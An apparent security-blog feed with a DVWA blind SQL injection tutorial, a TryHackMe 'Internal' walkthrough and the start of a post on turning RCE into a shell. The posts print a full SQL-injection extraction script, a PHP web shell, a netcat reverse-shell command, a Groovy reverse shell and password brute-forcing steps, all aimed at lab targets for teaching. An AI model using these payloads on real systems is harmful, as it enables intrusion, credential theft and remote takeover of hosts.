Jekyll2020-12-27T18:53:46+00:00http://bad-jubies.github.io/feed.xmlBad_JubiesSecurity BlogAutomating Blind Sql Injection2020-12-15T00:00:00+00:002020-12-15T00:00:00+00:00http://bad-jubies.github.io/Blind-SQLi-1<p>In this post I will show how to automate blind sql injection exploitation with Python. The techniques used are a combination of skills I learning in Offensive Security’s <a href="https://www.offensive-security.com/awae-oswe/">Advanced Web Attacks and Exploitation</a> course as well as Justin Clarke’s <a href="https://www.amazon.com/Injection-Attacks-Defense-Justin-Clarke/dp/1597499633">“SQL Injection Attacks and Defense”</a> book.</p>
<h2 id="setting-up-the-lab">SETTING UP THE LAB</h2>
<p>If you want to follow along, I’ll be exploiting <a href="https://github.com/digininja/DVWA">Damn Vulnerable Web Application (DVWA)</a> with security set to ‘low’ running on <a href="https://ubuntu.com/download/server">Ubuntu Server</a> on my local network. The server is added to my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file with the hostname “dvwa”. I’ve also changed the web application directory name to “DVWA”. The server is running mysql version 8.0.22 with the following <code class="language-plaintext highlighter-rouge">/etc/mysql/my.cnf</code> file contents:</p>
<figure class="highlight"><pre><code class="language-markdown" data-lang="markdown">!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mysql.conf.d/
[client]
default-character-set=utf8
[mysql]
default-character-set=utf8
[mysqld]
collation-server = utf8_unicode_ci
character-set-server = utf8
default-authentication-plugin=mysql_native_password
general_log_file = /var/log/mysql/query.log
general_log = 1</code></pre></figure>
<p>For debugging purposes, I like to ssh into the server and get a constant output of the sql queries as they’re happening. You can do the same with the following command: <code class="language-plaintext highlighter-rouge">sudo tail -f /var/log/mysql/query.log</code></p>
<p><img src="/images/query_logging.gif" class="center-image" /></p>
<h2 id="logging-in">LOGGING IN</h2>
<p>Before we can exploit the blind sqli vulnerablility, we will need to get an authenticated session on the webserver. The login form is located at http://dvwa/DVWA/login.php. I’ll be using the python requests library for easy session handling. The login form uses CSRF tokens which means there is a hidden token value on the login page that must be sent with the login POST request. The default login for DVWA is admin:password. The login function I wrote looks like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="n">rhost</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">session</span><span class="p">()</span>
<span class="n">login_url</span> <span class="o">=</span> <span class="s">"http://{}/DVWA/login.php"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">rhost</span><span class="p">)</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">login_url</span><span class="p">)</span>
<span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">r'([a-z,0-9]){32}'</span><span class="p">,</span> <span class="n">req</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">'username'</span><span class="p">:</span><span class="s">'admin'</span><span class="p">,</span><span class="s">'password'</span><span class="p">:</span><span class="s">'password'</span><span class="p">,</span><span class="s">'Login'</span><span class="p">:</span><span class="s">'Login'</span><span class="p">,</span><span class="s">'user_token'</span><span class="p">:</span><span class="n">token</span><span class="p">}</span>
<span class="n">login</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">login_url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">if</span> <span class="s">"Welcome"</span> <span class="ow">in</span> <span class="n">login</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"login successful"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"admin cookie: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">cookies</span><span class="p">[</span><span class="s">"PHPSESSID"</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">s</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">login</span><span class="p">(</span><span class="n">rhost</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>Looking at just the login() function itself, the first three lines initialize the python requests session object, assign the login url to the <code class="language-plaintext highlighter-rouge">login_url</code> variable, and then send a GET requests to the login page. The next two lines use a lazy regex filter <code class="language-plaintext highlighter-rouge">([a-z,0-9]){32}</code> to extract the CSRF token value from the page content and then assigns the matching string to the token variable. The remainder of the function sets the POST form data and sends the login requests. If the login was successful, we should see the cookie value printed to the terminal.</p>
<p><img src="/images/login_script.gif" class="center-image" /></p>
<p>Authentication was sucessful, now on to the fun stuff.</p>
<h2 id="building-a-baseline">BUILDING A BASELINE</h2>
<p>The example search function is located at http://dvwa/DVWA/vulnerabilities/sqli_blind/. This page allows authenticated users to search for userIDs in the database. If the userID exists, the message “User ID exists in the database” will be displayed. If the user does not exist, the message “User ID is MISSING from the database” will be shown. Additionally, this page accepts GET requests as its search query. This means that we can search for the first user in the database by going to the following url: <code class="language-plaintext highlighter-rouge">http://dvwa/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#</code>.</p>
<p><img src="/images/search_bar.gif" class="center-image" /></p>
<p>We can gather from manual enumeration that userIDs 1-5 currently exist in the database. And we can see from the query log file that the query actually being submitted to the database is <code class="language-plaintext highlighter-rouge">SELECT first_name, last_name FROM users WHERE user_id = '$id';</code>. I’ll start by testing for boolean-based blind sql injection by injecting an “OR” statement into a query that I know returns a false value with the goal of making the query evaluate to true. My starting payload will be <code class="language-plaintext highlighter-rouge">7' or 1=1 #</code>. In this payload, I’m searching for userID 7, which I know is false because only users 1-5 currently exist. Next, I’ll close the <code class="language-plaintext highlighter-rouge">$id</code> query string with the single quote and then add the boolean “OR” followed by <code class="language-plaintext highlighter-rouge">1=1 #</code>. <code class="language-plaintext highlighter-rouge">1=1</code> is a known true statement and the pound symbol signifies a comment in MySQL and will terminate the query. The query being sent to the database is <code class="language-plaintext highlighter-rouge">SELECT first_name, last_name FROM users WHERE user_id = '7' or 1=1 #'</code> and evaluates to true, returning “User ID exists in the database”.</p>
<p><img src="/images/boolean_test.gif" class="center-image" /></p>
<h2 id="targeting-password-hashes">TARGETING PASSWORD HASHES</h2>
<p>Now that we’re familiar with how the injection works, let’s extract some data. I’m going to try and extract the admin password hash. The first userID in a database tends to be the admin user, so the query I want to make to extract the password hash is <code class="language-plaintext highlighter-rouge">SELECT password FROM users WHERE user_id=1;</code>.</p>
<p><img src="/images/admin_sqlpass.png" class="center-image" /></p>
<p>We can’t directly use the desired sql query because the injection only accepts boolean statements. To solve this problem, we are going to use the MySQL <a href="https://www.w3schools.com/sql/func_mysql_substring.asp">substring() function</a> to return each character of the password hash individually. The syntax for the function is <code class="language-plaintext highlighter-rouge">SUBSTRING(string, starting index, length of result)</code>. This query will select the first character of the admin password hash: <code class="language-plaintext highlighter-rouge">SELECT substring((SELECT password FROM users WHERE user_id=1),1,1);</code>. By returning one character at a time, we are able to turn our desired query into a boolean statement: <code class="language-plaintext highlighter-rouge">SELECT substring((SELECT password FROM users WHERE user_id=1),1,1)=5; # returns 1, or true</code></p>
<p><img src="/images/boolean_pass.png" class="center-image" /></p>
<p>We’re not done yet. We’re injecting through GET requests, so we need to account for <a href="https://developers.google.com/maps/documentation/urls/url-encoding">URL encoding</a>. URL encoding has the potential to mangle any of our queries that return special characters. This shouldn’t matter because the password hashes that we’re selecting should all be MD5 containing only a-f0-9, but it’s better to be safe than sorry. This can be accomplished by converting our result characters to ascii using the MySQL ASCII() function. You can see an example conversion chart <a href="https://en.cppreference.com/w/cpp/language/ascii">here</a>. Our newly formed query looks like this: <code class="language-plaintext highlighter-rouge">SELECT ascii(substring((SELECT password FROM users WHERE user_id=1),1,1));</code> and returns 53 instead of 5. Finally, we’ll replace each space in the query will open/close <a href="https://dev.mysql.com/doc/refman/5.6/en/comments.html">multi-line comments</a>. This will account for any issues we might encounter with our spaces being replaced with <code class="language-plaintext highlighter-rouge">+</code> or <code class="language-plaintext highlighter-rouge">%20</code>. There’s a good stack exchange thread on this <a href="https://security.stackexchange.com/questions/127655/would-removing-spaces-in-a-string-protect-against-sql-injection">here</a>. Putting it all together, the target query we want to make looks like this: <code class="language-plaintext highlighter-rouge">SELECT/**/ascii(substring((SELECT/**/password/**/FROM/**/users/**/WHERE/**/user_id=1),1,1));</code>. I can test this on the webpage by searching <code class="language-plaintext highlighter-rouge">7'/**/or/**/(SELECT/**/ascii(substring((SELECT/**/password/**/FROM/**/users/**/WHERE/**/user_id=1),1,1)))=53/**/#</code> which returns “User ID exists in the database” confirming that the first character of the admin hash is ascii 53 or 5.</p>
<p><img src="/images/final-query.png" class="center-image" /></p>
<p>With all of this information in mind, we’re ready to put together the exploit script. The blind sql injection function is going to take the authenticated session object, target hostname, and desired query as command line parameters and will return the session object and extracted data. Our exploit script combining the login and blind injection functions looks like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">(</span><span class="n">rhost</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">session</span><span class="p">()</span>
<span class="n">login_url</span> <span class="o">=</span> <span class="s">"http://{}/DVWA/login.php"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">rhost</span><span class="p">)</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">login_url</span><span class="p">)</span>
<span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">r'([a-z,0-9]){32}'</span><span class="p">,</span> <span class="n">req</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
<span class="n">token</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">'username'</span><span class="p">:</span><span class="s">'admin'</span><span class="p">,</span><span class="s">'password'</span><span class="p">:</span><span class="s">'password'</span><span class="p">,</span><span class="s">'Login'</span><span class="p">:</span><span class="s">'Login'</span><span class="p">,</span><span class="s">'user_token'</span><span class="p">:</span><span class="n">token</span><span class="p">}</span>
<span class="n">login</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">login_url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">if</span> <span class="s">"Welcome"</span> <span class="ow">in</span> <span class="n">login</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"login successful"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"admin cookie: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">cookies</span><span class="p">[</span><span class="s">"PHPSESSID"</span><span class="p">]))</span>
<span class="k">return</span> <span class="n">s</span>
<span class="k">def</span> <span class="nf">blindSqli</span><span class="p">(</span><span class="n">rhost</span><span class="p">,</span> <span class="n">session_object</span><span class="p">,</span> <span class="n">my_query</span><span class="p">):</span>
<span class="n">extracted_data</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">33</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">126</span><span class="p">):</span>
<span class="n">query</span> <span class="o">=</span> <span class="s">"7'/**/or/**/(SELECT/**/ascii(substring(({}),{},1)))={}/**/%23"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">my_query</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">" "</span><span class="p">,</span> <span class="s">"/**/"</span><span class="p">),</span><span class="n">index</span><span class="p">,</span><span class="n">i</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">session_object</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"http://{}/DVWA/vulnerabilities/sqli_blind/?id={}&Submit=Submit#"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">rhost</span><span class="p">,</span><span class="n">query</span><span class="p">))</span>
<span class="k">if</span> <span class="s">"User ID exists"</span> <span class="ow">in</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">:</span>
<span class="n">extracted_data</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
<span class="k">return</span> <span class="n">session_object</span><span class="p">,</span> <span class="n">extracted_data</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">rhost</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">my_query</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="n">sess</span> <span class="o">=</span> <span class="n">login</span><span class="p">(</span><span class="n">rhost</span><span class="p">)</span>
<span class="n">sess</span><span class="p">,</span> <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">blindSqli</span><span class="p">(</span><span class="n">rhost</span><span class="p">,</span> <span class="n">sess</span><span class="p">,</span> <span class="n">my_query</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"The query result is: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">extracted_data</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>The blindSqli() function starts by initializing the extracted_data variable as an empty string. We then iterate over <code class="language-plaintext highlighter-rouge">range(1,33)</code> which will produce integers 1 through 32. These integers will be used to increase the index of our sql query with each iteration. Within that loop we iterate over <code class="language-plaintext highlighter-rouge">range(32,126)</code> to represent each character in <a href="http://facweb.cs.depaul.edu/sjost/it212/documents/ascii-pr.htm">the ascii printable table</a>. Then the query is sent and the response is assigned to the r variable. If “User ID exists” is in the response, the character will be sent to the terminal via stdout and appended to the extracted_data variable. I’ve also URL encoded the pound symbol so it will not be interpreted as an <a href="https://stackoverflow.com/questions/2800187/what-is-it-when-a-link-has-a-pound-sign-in-it">html named anchor</a>. Now we can run the exploit and retrieve the admin password hash:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python blindsqli.py dvwa "select password from users where user_id=1"
python blindsqli.py dvwa "select first_name from users where user_id=2"
python blindsqli.py dvwa "select last_name from users where user_id=2"
</code></pre></div></div>
<p><img src="/images/finalized_exploit.gif" class="center-image" /></p>
<h2 id="conclusion-room-for-improvement">CONCLUSION: ROOM FOR IMPROVEMENT</h2>
<p>We now have a working exploit. A downside of this exploitation technique is that it is very loud and produces a lot of entries in the query logs. It is possible to add a <a href="https://www.w3resource.com/python-exercises/data-structures-and-algorithms/python-search-and-sorting-exercise-1.php">binary search function</a> to reduce the amount of queries made.</p>
<p>Feel free to reach out to me <a href="https://twitter.com/Bad_Jubies">on Twitter</a> if you have any questions. Thanks for reading.</p>In this post I will show how to automate blind sql injection exploitation with Python. The techniques used are a combination of skills I learning in Offensive Security’s Advanced Web Attacks and Exploitation course as well as Justin Clarke’s “SQL Injection Attacks and Defense” book.TryHackMe - Internal2020-09-30T00:00:00+00:002020-09-30T00:00:00+00:00http://bad-jubies.github.io/Internal<p>Internal is a room on TryHackMe where you get to perform a mock penetration test. The room’s introduction provides the scope of the engagement:</p>
<p>Scope of Work</p>
<p>The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:</p>
<ul>
<li>User.txt</li>
<li>Root.txt</li>
</ul>
<p>Additionally, the client has provided the following scope allowances:</p>
<ul>
<li>Ensure that you modify your hosts file to reflect internal.thm</li>
<li>Any tools or techniques are permitted in this engagement</li>
<li>Locate and note all vulnerabilities found</li>
<li>Submit the flags discovered to the dashboard</li>
<li>Only the IP address assigned to your machine is in scope</li>
</ul>
<p><a href="https://tryhackme.com/room/internal">https://tryhackme.com/room/internal</a></p>
<p>Credit to Joe Helle for creating this room - <a href="https://twitter.com/joehelle">https://twitter.com/joehelle</a></p>
<h1 id="enumeration">ENUMERATION</h1>
<p>I’ll start with a rustscan to see what ports are open. You can find rustscan <a href="https://github.com/RustScan/RustScan">here</a>.</p>
<p><img src="/images/Internal/rustscan.gif" class="center-image" /></p>
<p>I’m also going to add the ip address to my /etc/hosts file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.10.110.112 internal.thm
</code></pre></div></div>
<p>The scan comes back with two ports open:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ rustscan --ulimit 5000 internal.thm
--- snip ---
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
</code></pre></div></div>
<p>Navigating to <code class="language-plaintext highlighter-rouge">http://internal.thm</code> returns a default apache page.</p>
<p><img src="/images/Internal/Apache.png" class="center-image" /></p>
<p>Now I’ll run gobuster to see if I can find any interesting directories on the webserver:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ gobuster dir --url http://internal.thm/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/07 18:29:46 Starting gobuster
===============================================================
/blog (Status: 301)
/wordpress (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
</code></pre></div></div>
<p>It look like there’s a Wordpress blog running on the box. Navigating to /blog returns the front page for the blog:</p>
<p><img src="/images/Internal/blog.png" class="center-image" /></p>
<p>And I can get to the default wordpress login at <code class="language-plaintext highlighter-rouge">http://internal.thm/blog/wp-login.php</code>:</p>
<p><img src="/images/Internal/login.png" class="center-image" /></p>
<p>My go-to tool for enumerating Wordpress sites is <a href="https://wpscan.org/">wpscan</a>. I’ll run wpscan to see if I can find any users on the site and brute force their password.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ wpscan --enumerate u --passwords /usr/share/wordlists/rockyou.txt --url http://internal.thm/wordpress/
--- snip ---
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Login Error Messages (Aggressive Detection)
--- snip ---
[+] Performing password attack on Xmlrpc against 1 user/s
Trying admin / my2boys Time: 00:06:03 <=================================================================================================================================================================> (3885 / 3885) 100.00% Time: 00:06:03
[SUCCESS] - admin / --redacted--
[!] Valid Combinations Found:
| Username: admin, Password: --redacted--
</code></pre></div></div>
<h1 id="exploitation">EXPLOITATION</h1>
<p>The scan returns the admin user and their password! I’ll use these creds to login to the admin panel. From here, I can use the “Theme Editor” to create a php backdoor by replacing the code for the <code class="language-plaintext highlighter-rouge">404.php</code> page.</p>
<p><img src="/images/Internal/ThemeEdit.png" class="center-image" /></p>
<p>I’ll use the following code for the backdoor:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><?php system($_REQUEST['pwned']); ?>
</code></pre></div></div>
<p>I’ll visit <code class="language-plaintext highlighter-rouge">http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php?pwned=id</code> to confirm that I have code execution.</p>
<p><img src="/images/Internal/Backdoor.png" class="center-image" /></p>
<p>I can now use the following curl command to get a reverse shell on the box with netcat:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl "http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php" --data-urlencode "pwned=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.4.244 53 >/tmp/f
</code></pre></div></div>
<p>And I can catch the shell with netcat on my kali box.</p>
<p><img src="/images/Internal/Internal_shell.gif" class="center-image" /></p>
<h1 id="privilege-escalation">PRIVILEGE ESCALATION</h1>
<p>I now have a shell as www-data and need to escalate my privileges to root. I can see that there is a user “aubreanna” on the box, but I don’t have access to her home directory.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Aug 3 01:40 .
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ..
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 aubreanna
</code></pre></div></div>
<p>However, I do find an interesting file named <code class="language-plaintext highlighter-rouge">wp-save.txt</code> in the /opt directory that gives me a hint on where to look next:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /opt/wp-save.txt
Bill,
Aubreanna needed these credentials for something later. Let her know you have them and where they are.
aubreanna: --redacted--
</code></pre></div></div>
<p>I can use these credentials to ssh in as user Aubreanna:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ip-10-10-111-47:~# ssh aubreanna@internal.thm
aubreanna@internal.thm's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
aubreanna@internal:~$ ls -l
total 12
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
</code></pre></div></div>
<p>From here I can read the user flag and get my next hint from the <code class="language-plaintext highlighter-rouge">jenkins.txt</code> file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
</code></pre></div></div>
<p>I can’t get to the Jenkins server from my kali box, but I can reach it from the internal.thm host. Since I have ssh access the the internal.thm box, I can create an ssh tunnel to get to the Jenkins server:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh -L 8080:172.17.0.2:8080 aubreanna@internal.thm
</code></pre></div></div>
<p>Once again, I’ll have to brute force for the admin password. I guessed the username of ‘admin’ and used rockyou.txt for my password wordlist. I’ll perform the bruteforce attack with BurpSuite. I can intercept the login request and send it to intruder. Within intruder, I can mark the password field as the target, load the wordlist, and begin the attack:</p>
<p>Intercepting the request:</p>
<p><img src="/images/Internal/intercept.png" class="center-image" /></p>
<p>Marking the password field:</p>
<p><img src="/images/Internal/intruder1.png" class="center-image" /></p>
<p>Loading the wordlist and beginning the attack:</p>
<p><img src="/images/Internal/intruder2.png" class="center-image" /></p>
<p>I can sort by HTTP response length to find the successful login request and corresponding password:</p>
<p><img src="/images/Internal/intruder3.png" class="center-image" /></p>
<p>I’m not too familiar with Jenkins, but I did some googling and found that there is a script console that allows admins to execute commands on the server.</p>
<p><img src="/images/Internal/JenkinsMenu.png" class="center-image" /></p>
<p>All scripts must be written in Groovy script.</p>
<p><img src="/images/Internal/JenkinsScriptConsole.png" class="center-image" /></p>
<p>I was able to find this <a href="https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76">Groovy script reverse shell</a> on Github and get a reverse shell on my Kali box. I’ll modify the host, port, and cmd variables to match my target:</p>
<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">String</span> <span class="n">host</span><span class="o">=</span><span class="s2">"10.10.111.47"</span><span class="o">;</span>
<span class="kt">int</span> <span class="n">port</span><span class="o">=</span><span class="mi">4444</span><span class="o">;</span>
<span class="n">String</span> <span class="n">cmd</span><span class="o">=</span><span class="s2">"/bin/bash"</span><span class="o">;</span>
<span class="n">Process</span> <span class="n">p</span><span class="o">=</span><span class="k">new</span> <span class="n">ProcessBuilder</span><span class="o">(</span><span class="n">cmd</span><span class="o">).</span><span class="na">redirectErrorStream</span><span class="o">(</span><span class="kc">true</span><span class="o">).</span><span class="na">start</span><span class="o">();</span><span class="n">Socket</span> <span class="n">s</span><span class="o">=</span><span class="k">new</span> <span class="n">Socket</span><span class="o">(</span><span class="n">host</span><span class="o">,</span><span class="n">port</span><span class="o">);</span><span class="n">InputStream</span> <span class="n">pi</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">(),</span><span class="n">pe</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="na">getErrorStream</span><span class="o">(),</span> <span class="n">si</span><span class="o">=</span><span class="n">s</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">();</span><span class="n">OutputStream</span> <span class="n">po</span><span class="o">=</span><span class="n">p</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">(),</span><span class="n">so</span><span class="o">=</span><span class="n">s</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">();</span><span class="k">while</span><span class="o">(!</span><span class="n">s</span><span class="o">.</span><span class="na">isClosed</span><span class="o">()){</span><span class="k">while</span><span class="o">(</span><span class="n">pi</span><span class="o">.</span><span class="na">available</span><span class="o">()></span><span class="mi">0</span><span class="o">)</span><span class="n">so</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">pi</span><span class="o">.</span><span class="na">read</span><span class="o">());</span><span class="k">while</span><span class="o">(</span><span class="n">pe</span><span class="o">.</span><span class="na">available</span><span class="o">()></span><span class="mi">0</span><span class="o">)</span><span class="n">so</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">pe</span><span class="o">.</span><span class="na">read</span><span class="o">());</span><span class="k">while</span><span class="o">(</span><span class="n">si</span><span class="o">.</span><span class="na">available</span><span class="o">()></span><span class="mi">0</span><span class="o">)</span><span class="n">po</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">si</span><span class="o">.</span><span class="na">read</span><span class="o">());</span><span class="n">so</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span><span class="n">po</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span><span class="n">Thread</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">50</span><span class="o">);</span><span class="k">try</span> <span class="o">{</span><span class="n">p</span><span class="o">.</span><span class="na">exitValue</span><span class="o">();</span><span class="k">break</span><span class="o">;}</span><span class="k">catch</span> <span class="o">(</span><span class="n">Exception</span> <span class="n">e</span><span class="o">){}};</span><span class="n">p</span><span class="o">.</span><span class="na">destroy</span><span class="o">();</span><span class="n">s</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ nc -lvnp 4444
whoami
jenkins
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
</code></pre></div></div>
<p>I’ll once again enumerate the /opt directory to find another clue:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd /opt
ls
note.txt
cat note.txt
Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here. Use them if you
need access to the root user account.
root:--redacted--
</code></pre></div></div>
<p>And now I can ssh as root and grab the root flag :)</p>
<h1 id="conclusion">CONCLUSION</h1>
<p>Internal was a pretty easy room, but fun nonetheless. I enjoyed getting to learn more about Jenkins and sniping admin passwords.</p>
<p>Feel free to reach out to me <a href="https://twitter.com/Bad_Jubies">on Twitter</a> if you have any questions.</p>Internal is a room on TryHackMe where you get to perform a mock penetration test. The room’s introduction provides the scope of the engagement:So You Have RCE, Now What?2020-09-17T00:00:00+00:002020-09-17T00:00:00+00:00http://bad-jubies.github.io/RCE-NOW-WHAT<p>In this blog post I’ll be sharing some of the techniques I learned during my OSCP studies to go from remote code execution to a reverse shell as well as ways to transfer files to remote hosts.</p>
